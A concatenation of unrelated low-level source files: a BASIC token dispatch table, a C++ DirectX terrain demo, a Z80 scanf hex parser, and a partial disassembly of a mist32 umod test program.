.word handler-syntax-error # 197, STOP
.word handler-syntax-error # 198, STR$
.word handler-syntax-error # 199, TAB
.word handler-syntax-error # 200, TAN
.word handler-syntax-error # 201, THEN
.word handler-syntax-error # 202, TO
.word token-not-impl # 203, UNTIL
.word handler-syntax-error # 204, UPPER$
.word handler-syntax-error # 205, USR
.word handler-syntax-error # 206, VAL
.word token-not-impl # 207, WHILE
.word handler-syntax-error # 208, +
.word handler-syntax-error # 209, -
.word handler-syntax-error # 210, -
.word handler-syntax-error # 211, *
.word handler-syntax-error # 212, /
.word handler-syntax-error # 213, %
.word handler-syntax-error # 214, ^
.word handler-syntax-error # 215, <>,!=
.word handler-syntax-error # 216, <=,=<
.word handler-syntax-error # 217, >=,=>
.word handler-syntax-error # 218, <
.word handler-syntax-error # 219, >
.word handler-syntax-error # 220, =
.word handler-syntax-error # 221, (
.word handler-syntax-error # 222, )
.word handler-syntax-error # 223, [
.word handler-syntax-error # 224, ]
.word handler-syntax-error # 225, ,
.word handler-syntax-error # 226, ;
.word token-not-impl # 227, :
.word token-not-impl # 228, undefined
.word token-not-impl # 229, undefined
.word token-not-impl # 230, undefined
.word token-not-impl # 231, undefined
.word token-not-impl # 232, undefined
.word token-not-impl # 233, undefined
.word token-not-impl # 234, undefined
.word token-not-impl # 235, undefined
.word token-not-impl # 236, undefined
.word token-not-impl # 237, undefined
.word token-not-impl # 238, undefined
.word token-not-impl # 239, undefined
.word token-not-impl # 240, undefined
.word token-not-impl # 241, undefined
.word token-not-impl # 242, undefined
.word token-not-impl # 243, undefined
.word token-not-impl # 244, undefined
.word token-not-impl # 245, undefined
.word token-not-impl # 246, undefined
.word token-not-impl # 247, undefined
.word token-not-impl # 248, undefined
.word handler-syntax-error # 249, REAL
.word handler-assignment # 250, VARIABLE
.word handler-syntax-error # 251, CODE_STRING
.word handler-syntax-error # 252, STRING
.word handler-syntax-error # 253, DWORD
.word handler-syntax-error # 254, WORD
.word handler-syntax-error # 255, BYTE
}
|
#include <fstream>
#include <iostream>
#include <sstream>
#include <stdio.h>
#include <string>
#include <vector>
#include "GameEffect.hpp"
#include "Terrain.hpp"
// Include windows stuff last because windows.h fucks up standard macros......
#include "DXUT.h"
#include "DXUTcamera.h"
#include "DXUTgui.h"
#include "DXUTmisc.h"
#include "DXUTsettingsdlg.h"
#include "SDKmisc.h"
#include "debug.hpp"
// Help macros
#define DEG2RAD(a) ((a)*XM_PI / 180.f)
using namespace std;
using namespace DirectX;
//--------------------------------------------------------------------------------------
// Global variables
//--------------------------------------------------------------------------------------
// Camera
struct CAMERAPARAMS {
float fovy;
float aspect;
float nearPlane;
float farPlane;
} g_cameraParams;
float g_cameraMoveScaler = 1000.f;
float g_cameraRotateScaler = 0.01f;
// A first person camera
// Workaround to delay initialization as wine segfaults if `GetCursorPos` is called before main()
// for some reason
#define g_camera get_g_camera()
CFirstPersonCamera &get_g_camera() {
static CFirstPersonCamera cam;
return cam;
}
// User Interface
CDXUTDialogResourceManager g_dialogResourceManager; // manager for shared resources of dialogs
CD3DSettingsDlg g_settingsDlg; // Device settings dialog
CDXUTTextHelper *g_txtHelper = NULL;
CDXUTDialog g_hud; // dialog for standard controls
CDXUTDialog g_sampleUI; // dialog for sample specific controls
ID3D11InputLayout *g_terrainVertexLayout; // Describes the structure of the vertex buffer to the
// input assembler stage
bool g_terrainSpinning = true;
XMMATRIX g_terrainWorld; // object- to world-space transformation
// Scene information
XMVECTOR g_lightDir;
Terrain g_terrain;
GameEffect g_gameEffect; // CPU part of Shader
//--------------------------------------------------------------------------------------
// UI control IDs
//--------------------------------------------------------------------------------------
#define IDC_TOGGLEFULLSCREEN 1
#define IDC_TOGGLEREF 2
#define IDC_CHANGEDEVICE 3
#define IDC_TOGGLESPIN 4
#define IDC_RELOAD_SHADERS 101
//--------------------------------------------------------------------------------------
// Forward declarations
//--------------------------------------------------------------------------------------
LRESULT CALLBACK MsgProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam,
bool *pbNoFurtherProcessing, void *pUserContext);
void CALLBACK OnKeyboard(UINT nChar, bool bKeyDown, bool bAltDown, void *pUserContext);
void CALLBACK OnGUIEvent(UINT nEvent, int nControlID, CDXUTControl *pControl, void *pUserContext);
void CALLBACK OnFrameMove(double fTime, float fElapsedTime, void *pUserContext);
bool CALLBACK ModifyDeviceSettings(DXUTDeviceSettings *pDeviceSettings, void *pUserContext);
bool CALLBACK IsD3D11DeviceAcceptable(const CD3D11EnumAdapterInfo *, UINT,
const CD3D11EnumDeviceInfo *, DXGI_FORMAT, bool, void *);
HRESULT CALLBACK OnD3D11CreateDevice(ID3D11Device *pd3dDevice,
const DXGI_SURFACE_DESC *pBackBufferSurfaceDesc,
void *pUserContext);
HRESULT CALLBACK OnD3D11ResizedSwapChain(ID3D11Device *pd3dDevice, IDXGISwapChain *pSwapChain,
const DXGI_SURFACE_DESC *pBackBufferSurfaceDesc,
void *pUserContext);
void CALLBACK OnD3D11ReleasingSwapChain(void *pUserContext);
void CALLBACK OnD3D11DestroyDevice(void *pUserContext);
void CALLBACK OnD3D11FrameRender(ID3D11Device *pd3dDevice,
ID3D11DeviceContext *pd3dImmediateContext, double fTime,
float fElapsedTime, void *pUserContext);
void InitApp();
void RenderText();
void ReleaseShader();
HRESULT ReloadShader(ID3D11Device *pd3dDevice);
//--------------------------------------------------------------------------------------
// Entry point to the program. Initializes everything and goes into a message processing
// loop. Idle time is used to render the scene.
//--------------------------------------------------------------------------------------
int main(void) {
// Enable run-time memory check for debug builds.
#if defined(DEBUG) | defined(_DEBUG)
_CrtSetDbgFlag(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_LEAK_CHECK_DF);
#endif
// Set DXUT callbacks
DXUTSetCallbackMsgProc(MsgProc);
DXUTSetCallbackKeyboard(OnKeyboard);
DXUTSetCallbackFrameMove(OnFrameMove);
DXUTSetCallbackDeviceChanging(ModifyDeviceSettings);
DXUTSetCallbackD3D11DeviceAcceptable(IsD3D11DeviceAcceptable);
DXUTSetCallbackD3D11DeviceCreated(OnD3D11CreateDevice);
DXUTSetCallbackD3D11SwapChainResized(OnD3D11ResizedSwapChain);
DXUTSetCallbackD3D11SwapChainReleasing(OnD3D11ReleasingSwapChain);
DXUTSetCallbackD3D11DeviceDestroyed(OnD3D11DestroyDevice);
DXUTSetCallbackD3D11FrameRender(OnD3D11FrameRender);
// DXUTSetIsInGammaCorrectMode(false);
InitApp();
// Parse the command line, show msgboxes on error, no extra command line params
DXUTInit(true, true, NULL);
DXUTSetCursorSettings(true, true);
DXUTCreateWindow(L"GEDGame"); // You may change the title
DXUTCreateDevice(D3D_FEATURE_LEVEL_11_0, true, 1280, 720);
DXUTMainLoop(); // Enter into the DXUT render loop
return DXUTGetExitCode();
}
//--------------------------------------------------------------------------------------
// Initialize the app
//--------------------------------------------------------------------------------------
void InitApp() {
// TODO: Parse your config file specified by "pathA" here
// Intialize the user interface
g_settingsDlg.Init(&g_dialogResourceManager);
g_hud.Init(&g_dialogResourceManager);
g_sampleUI.Init(&g_dialogResourceManager);
g_hud.SetCallback(OnGUIEvent);
int iY = 30;
int iYo = 26;
g_hud.AddButton(IDC_TOGGLEFULLSCREEN, L"Toggle full screen", 0, iY, 170, 22);
g_hud.AddButton(IDC_TOGGLEREF, L"Toggle REF (F3)", 0, iY += iYo, 170, 22, VK_F3);
g_hud.AddButton(IDC_CHANGEDEVICE, L"Change device (F2)", 0, iY += iYo, 170, 22, VK_F2);
g_hud.AddButton(IDC_RELOAD_SHADERS, L"Reload shaders (F5)", 0, iY += 24, 170, 22, VK_F5);
g_sampleUI.SetCallback(OnGUIEvent);
iY = 10;
iY += 24;
g_sampleUI.AddCheckBox(IDC_TOGGLESPIN, L"Toggle Spinning", 0, iY += 24, 125, 22,
g_terrainSpinning);
}
//--------------------------------------------------------------------------------------
// Render the help and statistics text. This function uses the ID3DXFont interface for
// efficient text rendering.
//--------------------------------------------------------------------------------------
void RenderText() {
g_txtHelper->Begin();
g_txtHelper->SetInsertionPos(5, 5);
g_txtHelper->SetForegroundColor(XMVectorSet(1.0f, 1.0f, 0.0f, 1.0f));
g_txtHelper->DrawTextLine(DXUTGetFrameStats(true)); // DXUTIsVsyncEnabled() ) );
g_txtHelper->DrawTextLine(DXUTGetDeviceStats());
g_txtHelper->End();
}
//--------------------------------------------------------------------------------------
// Reject any D3D11 devices that aren't acceptable by returning false
//--------------------------------------------------------------------------------------
bool CALLBACK IsD3D11DeviceAcceptable(const CD3D11EnumAdapterInfo *, UINT,
const CD3D11EnumDeviceInfo *, DXGI_FORMAT, bool, void *) {
return true;
}
//--------------------------------------------------------------------------------------
// Specify the initial device settings
//--------------------------------------------------------------------------------------
bool CALLBACK ModifyDeviceSettings(DXUTDeviceSettings *pDeviceSettings, void *pUserContext) {
UNREFERENCED_PARAMETER(pDeviceSettings);
UNREFERENCED_PARAMETER(pUserContext);
// For the first device created if its a REF device, optionally display a warning dialog box
static bool s_bFirstTime = true;
if (s_bFirstTime) {
s_bFirstTime = false;
if (pDeviceSettings->d3d11.DriverType == D3D_DRIVER_TYPE_REFERENCE) {
DXUTDisplaySwitchingToREFWarning();
}
}
//// Enable anti aliasing
pDeviceSettings->d3d11.sd.SampleDesc.Count = 4;
pDeviceSettings->d3d11.sd.SampleDesc.Quality = 1;
return true;
}
//--------------------------------------------------------------------------------------
// Create any D3D11 resources that aren't dependant on the back buffer
//--------------------------------------------------------------------------------------
HRESULT CALLBACK OnD3D11CreateDevice(ID3D11Device *pd3dDevice,
const DXGI_SURFACE_DESC *pBackBufferSurfaceDesc,
void *pUserContext) {
UNREFERENCED_PARAMETER(pBackBufferSurfaceDesc);
UNREFERENCED_PARAMETER(pUserContext);
HRESULT hr;
ID3D11DeviceContext *pd3dImmediateContext =
DXUTGetD3D11DeviceContext(); // http://msdn.microsoft.com/en-us/library/ff476891%28v=vs.85%29
V_RETURN(g_dialogResourceManager.OnD3D11CreateDevice(pd3dDevice, pd3dImmediateContext));
V_RETURN(g_settingsDlg.OnD3D11CreateDevice(pd3dDevice));
g_txtHelper =
new CDXUTTextHelper(pd3dDevice, pd3dImmediateContext, &g_dialogResourceManager, 15);
V_RETURN(ReloadShader(pd3dDevice));
// Initialize the camera
XMVECTOR vEye = XMVectorSet(0.0f, 400.0f, -500.0f, 0.0f); // Camera eye is here
XMVECTOR vAt = XMVectorSet(0.0f, 0.0f, 0.0f, 1.0f); // ... facing at this position
// http://msdn.microsoft.com/en-us/library/windows/desktop/bb206342%28v=vs.85%29.aspx
g_camera.SetViewParams(vEye, vAt);
g_camera.SetScalers(g_cameraRotateScaler, g_cameraMoveScaler);
// Define the input layout
const D3D11_INPUT_ELEMENT_DESC
layout[] = // http://msdn.microsoft.com/en-us/library/bb205117%28v=vs.85%29.aspx
{
{"SV_POSITION", 0, DXGI_FORMAT_R32G32B32A32_FLOAT, 0, 0, D3D11_INPUT_PER_VERTEX_DATA,
0},
{"NORMAL", 0, DXGI_FORMAT_R32G32B32A32_FLOAT, 0, 16, D3D11_INPUT_PER_VERTEX_DATA, 0},
{"TEXCOORD", 0, DXGI_FORMAT_R32G32_FLOAT, 0, 32, D3D11_INPUT_PER_VERTEX_DATA, 0},
};
UINT numElements = sizeof(layout) / sizeof(layout[0]);
// Create the input layout
D3DX11_PASS_DESC pd;
V_RETURN(g_gameEffect.pass0->GetDesc(&pd));
V_RETURN(pd3dDevice->CreateInputLayout(layout, numElements, pd.pIAInputSignature,
pd.IAInputSignatureSize, &g_terrainVertexLayout));
// Create the terrain
// TODO: You might pass a ConfigParser object to the create function.
// Therefore you can adjust the TerrainClass accordingly
V_RETURN(g_terrain.create(pd3dDevice));
return S_OK;
}
//--------------------------------------------------------------------------------------
// Release D3D11 resources created in OnD3D11CreateDevice
//--------------------------------------------------------------------------------------
void CALLBACK OnD3D11DestroyDevice(void *pUserContext) {
UNREFERENCED_PARAMETER(pUserContext);
g_dialogResourceManager.OnD3D11DestroyDevice();
g_settingsDlg.OnD3D11DestroyDevice();
DXUTGetGlobalResourceCache().OnDestroyDevice();
SAFE_RELEASE(g_terrainVertexLayout);
// Destroy the terrain
g_terrain.destroy();
SAFE_DELETE(g_txtHelper);
ReleaseShader();
}
//--------------------------------------------------------------------------------------
// Create any D3D11 resources that depend on the back buffer
//--------------------------------------------------------------------------------------
HRESULT CALLBACK OnD3D11ResizedSwapChain(ID3D11Device *pd3dDevice, IDXGISwapChain *pSwapChain,
const DXGI_SURFACE_DESC *pBackBufferSurfaceDesc,
void *pUserContext) {
UNREFERENCED_PARAMETER(pSwapChain);
UNREFERENCED_PARAMETER(pUserContext);
HRESULT hr;
// Intialize the user interface
V_RETURN(g_dialogResourceManager.OnD3D11ResizedSwapChain(pd3dDevice, pBackBufferSurfaceDesc));
V_RETURN(g_settingsDlg.OnD3D11ResizedSwapChain(pd3dDevice, pBackBufferSurfaceDesc));
g_hud.SetLocation(pBackBufferSurfaceDesc->Width - 170, 0);
g_hud.SetSize(170, 170);
g_sampleUI.SetLocation(pBackBufferSurfaceDesc->Width - 170,
pBackBufferSurfaceDesc->Height - 300);
g_sampleUI.SetSize(170, 300);
// Initialize the camera
g_cameraParams.aspect =
(FLOAT)pBackBufferSurfaceDesc->Width / (FLOAT)pBackBufferSurfaceDesc->Height;
g_cameraParams.fovy = 0.785398f;
g_cameraParams.nearPlane = 1.f;
g_cameraParams.farPlane = 5000.f;
g_camera.SetProjParams(g_cameraParams.fovy, g_cameraParams.aspect, g_cameraParams.nearPlane,
g_cameraParams.farPlane);
g_camera.SetEnablePositionMovement(true);
g_camera.SetRotateButtons(true, false, false);
g_camera.SetScalers(g_cameraRotateScaler, g_cameraMoveScaler);
g_camera.SetDrag(true);
return S_OK;
}
//--------------------------------------------------------------------------------------
// Release D3D11 resources created in OnD3D11ResizedSwapChain
//--------------------------------------------------------------------------------------
void CALLBACK OnD3D11ReleasingSwapChain(void *pUserContext) {
UNREFERENCED_PARAMETER(pUserContext);
g_dialogResourceManager.OnD3D11ReleasingSwapChain();
}
//--------------------------------------------------------------------------------------
// Loads the effect from file
// and retrieves all dependent variables
//--------------------------------------------------------------------------------------
HRESULT ReloadShader(ID3D11Device *pd3dDevice) {
printf("ReloadShader\n");
assert(pd3dDevice != NULL);
HRESULT hr;
ReleaseShader();
V_RETURN(g_gameEffect.create(pd3dDevice));
return S_OK;
}
//--------------------------------------------------------------------------------------
// Release resources created in ReloadShader
//--------------------------------------------------------------------------------------
void ReleaseShader() {
printf("ReleaseShader\n");
g_gameEffect.destroy();
}
//--------------------------------------------------------------------------------------
// Handle messages to the application
//--------------------------------------------------------------------------------------
LRESULT CALLBACK MsgProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam,
bool *pbNoFurtherProcessing, void *pUserContext) {
UNREFERENCED_PARAMETER(pUserContext);
// Pass messages to dialog resource manager calls so GUI state is updated correctly
*pbNoFurtherProcessing = g_dialogResourceManager.MsgProc(hWnd, uMsg, wParam, lParam);
if (*pbNoFurtherProcessing)
return 0;
// Pass messages to settings dialog if its active
if (g_settingsDlg.IsActive()) {
g_settingsDlg.MsgProc(hWnd, uMsg, wParam, lParam);
return 0;
}
// Give the dialogs a chance to handle the message first
*pbNoFurtherProcessing = g_hud.MsgProc(hWnd, uMsg, wParam, lParam);
if (*pbNoFurtherProcessing)
return 0;
*pbNoFurtherProcessing = g_sampleUI.MsgProc(hWnd, uMsg, wParam, lParam);
if (*pbNoFurtherProcessing)
return 0;
// Use the mouse weel to control the movement speed
if (uMsg == WM_MOUSEWHEEL) {
int zDelta = GET_WHEEL_DELTA_WPARAM(wParam);
g_cameraMoveScaler *= (1 + (float)zDelta / 500.0f);
if (g_cameraMoveScaler < 0.1f)
g_cameraMoveScaler = 0.1f;
g_camera.SetScalers(g_cameraRotateScaler, g_cameraMoveScaler);
printf("%f\n", g_cameraMoveScaler);
}
// Pass all remaining windows messages to camera so it can respond to user input
g_camera.HandleMessages(hWnd, uMsg, wParam, lParam);
return 0;
}
//--------------------------------------------------------------------------------------
// Handle key presses
//--------------------------------------------------------------------------------------
void CALLBACK OnKeyboard(UINT nChar, bool bKeyDown, bool bAltDown, void *pUserContext) {
printf("OnKeyboard\n");
UNREFERENCED_PARAMETER(nChar);
UNREFERENCED_PARAMETER(bKeyDown);
UNREFERENCED_PARAMETER(bAltDown);
UNREFERENCED_PARAMETER(pUserContext);
}
//--------------------------------------------------------------------------------------
// Handles the GUI events
//--------------------------------------------------------------------------------------
void CALLBACK OnGUIEvent(UINT nEvent, int nControlID, CDXUTControl *pControl, void *pUserContext) {
UNREFERENCED_PARAMETER(nEvent);
UNREFERENCED_PARAMETER(pControl);
UNREFERENCED_PARAMETER(pUserContext);
switch (nControlID) {
case IDC_TOGGLEFULLSCREEN:
DXUTToggleFullScreen();
break;
case IDC_TOGGLEREF:
DXUTToggleREF();
break;
case IDC_CHANGEDEVICE:
g_settingsDlg.SetActive(!g_settingsDlg.IsActive());
break;
case IDC_TOGGLESPIN:
g_terrainSpinning = g_sampleUI.GetCheckBox(IDC_TOGGLESPIN)->GetChecked();
break;
case IDC_RELOAD_SHADERS:
ReloadShader(DXUTGetD3D11Device());
break;
}
}
//--------------------------------------------------------------------------------------
// Handle updates to the scene. This is called regardless of which D3D API is used
//--------------------------------------------------------------------------------------
void CALLBACK OnFrameMove(double fTime, float fElapsedTime, void *pUserContext) {
UNREFERENCED_PARAMETER(pUserContext);
// Update the camera's position based on user input
g_camera.FrameMove(fElapsedTime);
// Initialize the terrain world matrix
// http://msdn.microsoft.com/en-us/library/windows/desktop/bb206365%28v=vs.85%29.aspx
// Start with identity matrix
g_terrainWorld = XMMatrixIdentity();
if (g_terrainSpinning) {
// If spinng enabled, rotate the world matrix around the y-axis
g_terrainWorld *=
XMMatrixRotationY(30.0f * DEG2RAD((float)fTime)); // Rotate around world-space "up" axis
}
// Set the light vector
g_lightDir = XMVectorSet(1, 1, 1, 0); // Direction to the directional light in world space
g_lightDir = XMVector3Normalize(g_lightDir);
}
//--------------------------------------------------------------------------------------
// Render the scene using the D3D11 device
//--------------------------------------------------------------------------------------
void CALLBACK OnD3D11FrameRender(ID3D11Device *pd3dDevice,
ID3D11DeviceContext *pd3dImmediateContext, double fTime,
float fElapsedTime, void *pUserContext) {
UNREFERENCED_PARAMETER(pd3dDevice);
UNREFERENCED_PARAMETER(fTime);
UNREFERENCED_PARAMETER(pUserContext);
HRESULT hr;
// If the settings dialog is being shown, then render it instead of rendering the app's scene
if (g_settingsDlg.IsActive()) {
g_settingsDlg.OnRender(fElapsedTime);
return;
}
ID3D11RenderTargetView *pRTV = DXUTGetD3D11RenderTargetView();
float clearColor[4] = {0.5f, 0.5f, 0.5f, 1.0f};
pd3dImmediateContext->ClearRenderTargetView(pRTV, clearColor);
if (g_gameEffect.effect == NULL) {
g_txtHelper->Begin();
g_txtHelper->SetInsertionPos(5, 5);
g_txtHelper->SetForegroundColor(XMVectorSet(1.0f, 1.0f, 0.0f, 1.0f));
g_txtHelper->DrawTextLine(L"SHADER ERROR");
g_txtHelper->End();
return;
}
// Clear the depth stencil
ID3D11DepthStencilView *pDSV = DXUTGetD3D11DepthStencilView();
pd3dImmediateContext->ClearDepthStencilView(pDSV, D3D11_CLEAR_DEPTH, 1.0, 0);
// Update variables that change once per frame
XMMATRIX const view = g_camera.GetViewMatrix();
XMMATRIX const proj = g_camera.GetProjMatrix();
XMMATRIX worldViewProj = g_terrainWorld * view * proj;
V(g_gameEffect.worldEV->SetMatrix((float *)&g_terrainWorld));
V(g_gameEffect.worldViewProjectionEV->SetMatrix((float *)&worldViewProj));
V(g_gameEffect.lightDirEV->SetFloatVector((float *)&g_lightDir));
// Set input layout
pd3dImmediateContext->IASetInputLayout(g_terrainVertexLayout);
g_terrain.render(pd3dImmediateContext, g_gameEffect.pass0);
DXUT_BeginPerfEvent(DXUT_PERFEVENTCOLOR, L"HUD / Stats");
V(g_hud.OnRender(fElapsedTime));
V(g_sampleUI.OnRender(fElapsedTime));
RenderText();
DXUT_EndPerfEvent();
static DWORD dwTimefirst = GetTickCount();
if (GetTickCount() - dwTimefirst > 5000) {
OutputDebugString(DXUTGetFrameStats(DXUTIsVsyncEnabled()));
OutputDebugString(L"\n");
dwTimefirst = GetTickCount();
}
}
|
SECTION code_stdio
PUBLIC __stdio_scanf_sm_hex
PUBLIC __stdio_scanf_sm_hex_join
EXTERN asm_isxdigit, __stdio_scanf_sm_write
__stdio_scanf_sm_hex:
; HEXADECIMAL NUMBER STATE MACHINE
;
; Qualify function for STDIO_MSG_EATC
;
; set-up: hl = state machine function address
; de = void *buffer
; bc = uint buffer_len
;
; return: de = void *buffer_ptr (address past last byte written)
; bc = remaining space in buffer
; consume optional sign
ld hl,state_1 ; next time look for base indicator
cp '+'
ret z ; accept plus sign, do not add to buffer
cp '-' ; if negative sign, write '-' to buffer
jp z, __stdio_scanf_sm_write
; sign not present
state_1:
; check for base indicator '0'
cp '0'
jr nz, state_4t ; if no base indicator present
ld hl,state_2 ; next time look for 'x'
jp __stdio_scanf_sm_write ; write '0' to buffer
state_2:
; check for base indicator 'x'
ld hl,state_3 ; next time consume any leading zeroes
cp 'x'
ret z ; accept base indicator, do not add to buffer
cp 'X'
ret z
; fall through
state_3:
; consume leading zeroes
cp '0'
ret z ; consume zero, do not add to buffer
state_4t:
ld hl,state_4
state_4:
; accept hex digits
call asm_isxdigit
jp nc, __stdio_scanf_sm_write
ret ; reject if not hex digit with carry set
__stdio_scanf_sm_hex_join:
state_5:
; accept first zero
ld hl,state_3 ; next time consume leading zeroes
cp '0'
jp z, __stdio_scanf_sm_write ; accept first zero and write to buffer
jr state_4t ; check for hex digit
|
./out/umod.out: ファイル形式 elf32-mist32
セクション .text の逆アセンブル:
00000000 <_start>:
0: 0d 40 00 00 wl16 r0,0x0
4: 0d 60 00 0f wh16 r0,0xf
8: 1c 00 00 00 srspw r0
c: 14 30 00 18 br 6c <check>,#al
00000010 <compare>:
10: 00 c0 01 09 cmp r8,r9
14: 14 41 03 e0 b rret,#eq
00000018 <error>:
18: 0d 40 00 00 wl16 r0,0x0
1c: 0d 60 00 02 wh16 r0,0x2
20: 0e c0 00 20 lil r1,0
24: 10 a0 00 20 st32 r1,r0
28: 0d 40 00 0c wl16 r0,0xc
2c: 0d 60 00 02 wh16 r0,0x2
30: 10 a0 00 40 st32 r2,r0
34: 0d 40 00 08 wl16 r0,0x8
38: 0d 60 00 02 wh16 r0,0x2
3c: 10 a0 00 60 st32 r3,r0
40: 0d 40 00 10 wl16 r0,0x10
44: 0d 60 00 02 wh16 r0,0x2
48: 10 a0 01 00 st32 r8,r0
4c: 0d 40 00 14 wl16 r0,0x14
50: 0d 60 00 02 wh16 r0,0x2
54: 10 a0 01 20 st32 r9,r0
00000058 <finish>:
58: 0d 40 00 04 wl16 r0,0x4
5c: 0d 60 00 02 wh16 r0,0x2
60: 0e c0 00 21 lil r1,1
64: 10 a0 00 20 st32 r1,r0
68: 14 30 00 00 br 68 <finish+0x10>,#al
0000006c <check>:
6c: 0c 40 00 42 xor r2,r2
70: 0c 40 00 63 xor r3,r3
74: 0d 40 01 00 wl16 r8,0x0
78: 0d 60 01 03 wh16 r8,0x3
7c: 10 40 01 08 ld32 r8,r8
80: 0d 42 1e 1c wl16 r16,0x10fc
84: 0d 60 02 03 wh16 r16,0x3
88: 10 40 02 10 ld32 r16,r16
8c: 0d 44 3d 38 wl16 r9,0x21f8
90: 0d 60 01 23 wh16 r9,0x3
94: 10 40 01 29 ld32 r9,r9
98: 00 a0 01 10 umod r8,r16
9c: 20 70 03 e2 movepc rret,8
a0: 14 30 ff dc br 10 <compare>,#al
a4: 00 10 00 41 add r2,1
a8: 0d 40 01 04 wl16 r8,0x4
ac: 0d 60 01 03 wh16 r8,0x3
b0: 10 40 01 08 ld32 r8,r8
b4: 0d 42 22 00 wl16 r16,0x1100
b8: 0d 60 02 03 wh16 r16,0x3
bc: 10 40 02 10 ld32 r16,r16
c0: 0d 44 3d 3c wl16 r9,0x21fc
c4: 0d 60 01 23 wh16 r9,0x3
c8: 10 40 01 29 ld32 r9,r9
cc: 00 a0 01 10 umod r8,r16
d0: 20 70 03 e2 movepc rret,8
d4: 14 30 ff cf br 10 <compare>,#al
d8: 00 10 00 41 add r2,1
dc: 0d 40 01 08 wl16 r8,0x8
e0: 0d 60 01 03 wh16 r8,0x3
e4: 10 40 01 08 ld32 r8,r8
e8: 0d 42 22 04 wl16 r16,0x1104
ec: 0d 60 02 03 wh16 r16,0x3
f0: 10 40 02 10 ld32 r16,r16
f4: 0d 44 41 20 wl16 r9,0x2200
f8: 0d 60 01 23 wh16 r9,0x3
fc: 10 40 01 29 ld32 r9,r9
100: 00 a0 01 10 umod r8,r16
104: 20 70 03 e2 movepc rret,8
108: 14 30 ff c2 br 10 <compare>,#al
10c: 00 10 00 41 add r2,1
110: 0d 40 01 0c wl16 r8,0xc
114: 0d 60 01 03 wh16 r8,0x3
118: 10 40 01 08 ld32 r8,r8
11c: 0d 42 22 08 wl16 r16,0x1108
120: 0d 60 02 03 wh16 r16,0x3
124: 10 40 02 10 ld32 r16,r16
128: 0d 44 41 24 wl16 r9,0x2204
12c: 0d 60 01 23 wh16 r9,0x3
130: 10 40 01 29 ld32 r9,r9
134: 00 a0 01 10 umod r8,r16
138: 20 70 03 e2 movepc rret,8
13c: 14 30 ff b5 br 10 <compare>,#al
140: 00 10 00 41 add r2,1
144: 0d 40 01 10 wl16 r8,0x10
148: 0d 60 01 03 wh16 r8,0x3
14c: 10 40 01 08 ld32 r8,r8
150: 0d 42 22 0c wl16 r16,0x110c
154: 0d 60 02 03 wh16 r16,0x3
158: 10 40 02 10 ld32 r16,r16
15c: 0d 44 41 28 wl16 r9,0x2208
160: 0d 60 01 23 wh16 r9,0x3
164: 10 40 01 29 ld32 r9,r9
168: 00 a0 01 10 umod r8,r16
16c: 20 70 03 e2 movepc rret,8
170: 14 30 ff a8 br 10 <compare>,#al
174: 00 10 00 41 add r2,1
178: 0d 40 01 14 wl16 r8,0x14
17c: 0d 60 01 03 wh16 r8,0x3
180: 10 40 01 08 ld32 r8,r8
184: 0d 42 22 10 wl16 r16,0x1110
188: 0d 60 02 03 wh16 r16,0x3
18c: 10 40 02 10 ld32 r16,r16
190: 0d 44 41 2c wl16 r9,0x220c
194: 0d 60 01 23 wh16 r9,0x3
198: 10 40 01 29 ld32 r9,r9
19c: 00 a0 01 10 umod r8,r16
1a0: 20 70 03 e2 movepc rret,8
1a4: 14 30 ff 9b br 10 <compare>,#al
1a8: 00 10 00 41 add r2,1
1ac: 0d 40 01 18 wl16 r8,0x18
1b0: 0d 60 01 03 wh16 r8,0x3
1b4: 10 40 01 08 ld32 r8,r8
1b8: 0d 42 22 14 wl16 r16,0x1114
1bc: 0d 60 02 03 wh16 r16,0x3
1c0: 10 40 02 10 ld32 r16,r16
1c4: 0d 44 41 30 wl16 r9,0x2210
1c8: 0d 60 01 23 wh16 r9,0x3
1cc: 10 40 01 29 ld32 r9,r9
1d0: 00 a0 01 10 umod r8,r16
1d4: 20 70 03 e2 movepc rret,8
1d8: 14 30 ff 8e br 10 <compare>,#al
1dc: 00 10 00 41 add r2,1
1e0: 0d 40 01 1c wl16 r8,0x1c
1e4: 0d 60 01 03 wh16 r8,0x3
1e8: 10 40 01 08 ld32 r8,r8
1ec: 0d 42 22 18 wl16 r16,0x1118
1f0: 0d 60 02 03 wh16 r16,0x3
1f4: 10 40 02 10 ld32 r16,r16
1f8: 0d 44 41 34 wl16 r9,0x2214
1fc: 0d 60 01 23 wh16 r9,0x3
200: 10 40 01 29 ld32 r9,r9
204: 00 a0 01 10 umod r8,r16
208: 20 70 03 e2 movepc rret,8
20c: 14 30 ff 81 br 10 <compare>,#al
210: 00 10 00 41 add r2,1
214: 0d 40 05 00 wl16 r8,0x20
218: 0d 60 01 03 wh16 r8,0x3
21c: 10 40 01 08 ld32 r8,r8
220: 0d 42 22 1c wl16 r16,0x111c
224: 0d 60 02 03 wh16 r16,0x3
228: 10 40 02 10 ld32 r16,r16
22c: 0d 44 41 38 wl16 r9,0x2218
230: 0d 60 01 23 wh16 r9,0x3
234: 10 40 01 29 ld32 r9,r9
238: 00 a0 01 10 umod r8,r16
23c: 20 70 03 e2 movepc rret,8
240: 14 30 ff 74 br 10 <compare>,#al
244: 00 10 00 41 add r2,1
248: 0d 40 05 04 wl16 r8,0x24
24c: 0d 60 01 03 wh16 r8,0x3
250: 10 40 01 08 ld32 r8,r8
254: 0d 42 26 00 wl16 r16,0x1120
258: 0d 60 02 03 wh16 r16,0x3
25c: 10 40 02 10 ld32 r16,r16
260: 0d 44 41 3c wl16 r9,0x221c
264: 0d 60 01 23 wh16 r9,0x3
268: 10 40 01 29 ld32 r9,r9
26c: 00 a0 01 10 umod r8,r16
270: 20 70 03 e2 movepc rret,8
274: 14 30 ff 67 br 10 <compare>,#al
278: 00 10 00 41 add r2,1
27c: 0d 40 05 08 wl16 r8,0x28
280: 0d 60 01 03 wh16 r8,0x3
284: 10 40 01 08 ld32 r8,r8
288: 0d 42 26 04 wl16 r16,0x1124
28c: 0d 60 02 03 wh16 r16,0x3
290: 10 40 02 10 ld32 r16,r16
294: 0d 44 45 20 wl16 r9,0x2220
298: 0d 60 01 23 wh16 r9,0x3
29c: 10 40 01 29 ld32 r9,r9
2a0: 00 a0 01 10 umod r8,r16
2a4: 20 70 03 e2 movepc rret,8
2a8: 14 30 ff 5a br 10 <compare>,#al
2ac: 00 10 00 41 add r2,1
2b0: 0d 40 05 0c wl16 r8,0x2c
2b4: 0d 60 01 03 wh16 r8,0x3
2b8: 10 40 01 08 ld32 r8,r8
